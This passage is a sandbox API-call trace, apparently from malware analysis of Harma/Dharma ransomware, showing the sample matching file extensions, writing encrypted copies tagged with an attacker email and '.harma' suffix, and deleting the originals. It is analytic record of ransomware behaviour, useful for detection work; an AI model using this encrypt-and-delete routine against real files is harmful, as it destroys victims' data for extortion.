(lpString1=".bz2", lpString2=".xsl") returned -1 [0065.879] lstrlenW (lpString=".7z") returned 3 [0065.879] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0065.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.879] lstrlenW (lpString=".dbf") returned 4 [0065.879] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0065.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.879] lstrlenW (lpString=".1cd") returned 4 [0065.879] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0065.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.879] lstrlenW (lpString=".jpg") returned 4 [0065.879] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0065.879] lstrcmpiW (lpString1=".xsl", lpString2=".harma") returned 1 [0065.880] lstrlenW (lpString="sql70.xsl") returned 9 [0065.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.882] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=32146) returned 1 [0065.882] CloseHandle (hObject=0x214) returned 1 [0065.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0065.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.882] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.882] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0065.883] GetLastError () returned 0x0 [0065.883] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x7d92, lpOverlapped=0x0) returned 1 [0065.886] WriteFile (in: hFile=0x20c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7da0, lpOverlapped=0x0) returned 1 [0065.887] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0065.887] WriteFile (in: hFile=0x20c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0065.887] SetEndOfFile (hFile=0x20c) returned 1 [0065.887] CloseHandle (hObject=0x20c) returned 1 [0065.888] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.888] SetEndOfFile (hFile=0x214) returned 1 [0065.889] CloseHandle (hObject=0x214) returned 1 [0065.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0065.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.889] lstrlenW (lpString=".doc") returned 4 [0065.889] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0065.889] lstrlenW (lpString=".docx") returned 5 [0065.889] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0065.889] lstrlenW (lpString=".pdf") returned 4 [0065.889] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0065.889] lstrlenW (lpString=".xls") returned 4 [0065.889] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0065.889] lstrlenW (lpString=".xlsx") returned 5 [0065.889] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0065.890] lstrlenW (lpString=".ppt") returned 4 [0065.890] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0065.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.890] lstrlenW (lpString=".zip") returned 4 [0065.890] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0065.890] lstrlenW (lpString=".rar") returned 4 [0065.890] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0065.890] lstrlenW (lpString=".bz2") returned 4 [0065.890] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0065.890] lstrlenW (lpString=".7z") returned 3 [0065.890] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0065.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.890] lstrlenW (lpString=".dbf") returned 4 [0065.890] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0065.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.890] lstrlenW (lpString=".1cd") returned 4 [0065.890] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0065.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.890] lstrlenW (lpString=".jpg") returned 4 [0065.890] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0065.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.890] lstrlenW (lpString=".doc") returned 4 [0065.890] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0065.890] lstrlenW (lpString=".docx") returned 5 [0065.890] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0065.890] lstrlenW (lpString=".pdf") returned 4 [0065.891] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0065.891] lstrlenW (lpString=".xls") returned 4 [0065.891] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0065.891] lstrlenW (lpString=".xlsx") returned 5 [0065.891] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0065.891] lstrlenW (lpString=".ppt") returned 4 [0065.891] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0065.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.891] lstrlenW (lpString=".zip") returned 4 [0065.891] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0065.891] lstrlenW (lpString=".rar") returned 4 [0065.891] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0065.891] lstrlenW (lpString=".bz2") returned 4 [0065.891] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0065.891] lstrlenW (lpString=".7z") returned 3 [0065.891] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0065.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.891] lstrlenW (lpString=".dbf") returned 4 [0065.891] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0065.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.891] lstrlenW (lpString=".1cd") returned 4 [0065.891] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0065.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0065.891] lstrlenW (lpString=".jpg") returned 4 [0065.891] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0065.892] lstrcmpiW (lpString1=".xsl", lpString2=".harma") returned 1 [0065.892] lstrlenW (lpString="sql90.xsl") returned 9 [0065.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.892] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=39515) returned 1 [0065.892] CloseHandle (hObject=0x214) returned 1 [0065.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0065.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.892] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.892] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0065.893] GetLastError () returned 0x0 [0065.893] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x9a5b, lpOverlapped=0x0) returned 1 [0065.925] WriteFile (in: hFile=0x20c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x9a60, lpOverlapped=0x0) returned 1 [0065.926] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0065.926] WriteFile (in: hFile=0x20c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0065.927] SetEndOfFile (hFile=0x20c) returned 1 [0065.927] CloseHandle (hObject=0x20c) returned 1 [0065.927] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.927] SetEndOfFile (hFile=0x214) returned 1 [0065.928] CloseHandle (hObject=0x214) returned 1 [0065.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0066.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.317] lstrlenW (lpString=".doc") returned 4 [0066.317] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0066.317] lstrlenW (lpString=".docx") returned 5 [0066.317] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0066.317] lstrlenW (lpString=".pdf") returned 4 [0066.317] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0066.317] lstrlenW (lpString=".xls") returned 4 [0066.317] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0066.317] lstrlenW (lpString=".xlsx") returned 5 [0066.318] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0066.318] lstrlenW (lpString=".ppt") returned 4 [0066.318] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0066.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.318] lstrlenW (lpString=".zip") returned 4 [0066.318] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0066.318] lstrlenW (lpString=".rar") returned 4 [0066.318] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0066.318] lstrlenW (lpString=".bz2") returned 4 [0066.318] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0066.318] lstrlenW (lpString=".7z") returned 3 [0066.318] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0066.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.318] lstrlenW (lpString=".dbf") returned 4 [0066.318] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0066.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.318] lstrlenW (lpString=".1cd") returned 4 [0066.318] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0066.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.318] lstrlenW (lpString=".jpg") returned 4 [0066.318] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0066.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.318] lstrlenW (lpString=".doc") returned 4 [0066.318] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0066.318] lstrlenW (lpString=".docx") returned 5 [0066.318] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0066.318] lstrlenW (lpString=".pdf") returned 4 [0066.318] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0066.318] lstrlenW (lpString=".xls") returned 4 [0066.318] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0066.319] lstrlenW (lpString=".xlsx") returned 5 [0066.319] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0066.319] lstrlenW (lpString=".ppt") returned 4 [0066.319] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0066.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.319] lstrlenW (lpString=".zip") returned 4 [0066.319] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0066.319] lstrlenW (lpString=".rar") returned 4 [0066.319] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0066.319] lstrlenW (lpString=".bz2") returned 4 [0066.319] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0066.319] lstrlenW (lpString=".7z") returned 3 [0066.319] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0066.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.319] lstrlenW (lpString=".dbf") returned 4 [0066.319] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0066.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.319] lstrlenW (lpString=".1cd") returned 4 [0066.319] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0066.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0066.319] lstrlenW (lpString=".jpg") returned 4 [0066.319] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0066.319] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.319] lstrlenW (lpString="AG00154_.GIF") returned 12 [0066.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0066.320] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5315) returned 1 [0066.320] CloseHandle (hObject=0x1a0) returned 1 [0066.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0066.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0066.320] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.320] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0066.321] GetLastError () returned 0x0 [0066.321] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x14c3, lpOverlapped=0x0) returned 1 [0066.328] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0066.330] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0066.330] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.330] SetEndOfFile (hFile=0x21c) returned 1 [0066.331] CloseHandle (hObject=0x21c) returned 1 [0066.332] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.332] SetEndOfFile (hFile=0x1a0) returned 1 [0066.333] CloseHandle (hObject=0x1a0) returned 1 [0066.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0066.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.334] lstrlenW (lpString=".doc") returned 4 [0066.334] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.334] lstrlenW (lpString=".docx") returned 5 [0066.334] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.334] lstrlenW (lpString=".pdf") returned 4 [0066.334] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.334] lstrlenW (lpString=".xls") returned 4 [0066.334] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.335] lstrlenW (lpString=".xlsx") returned 5 [0066.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.335] lstrlenW (lpString=".ppt") returned 4 [0066.335] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.335] lstrlenW (lpString=".zip") returned 4 [0066.335] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.335] lstrlenW (lpString=".rar") returned 4 [0066.335] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.335] lstrlenW (lpString=".bz2") returned 4 [0066.335] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.335] lstrlenW (lpString=".7z") returned 3 [0066.335] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.335] lstrlenW (lpString=".dbf") returned 4 [0066.335] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.335] lstrlenW (lpString=".1cd") returned 4 [0066.335] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.335] lstrlenW (lpString=".jpg") returned 4 [0066.335] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.335] lstrlenW (lpString=".doc") returned 4 [0066.335] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.335] lstrlenW (lpString=".docx") returned 5 [0066.335] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.335] lstrlenW (lpString=".pdf") returned 4 [0066.335] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.336] lstrlenW (lpString=".xls") returned 4 [0066.336] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.336] lstrlenW (lpString=".xlsx") returned 5 [0066.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.336] lstrlenW (lpString=".ppt") returned 4 [0066.336] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0066.336] lstrlenW (lpString=".zip") returned 4 [0066.336] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.336] lstrlenW (lpString=".rar") returned 4 [0066.336] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.336] lstrlenW (lpString=".bz2") returned 4 [0066.336] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.336] lstrlenW (lpString=".7z") returned 3 [0066.336] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.336] lstrlenW (lpString="C:\\Program Files\\Microsoft 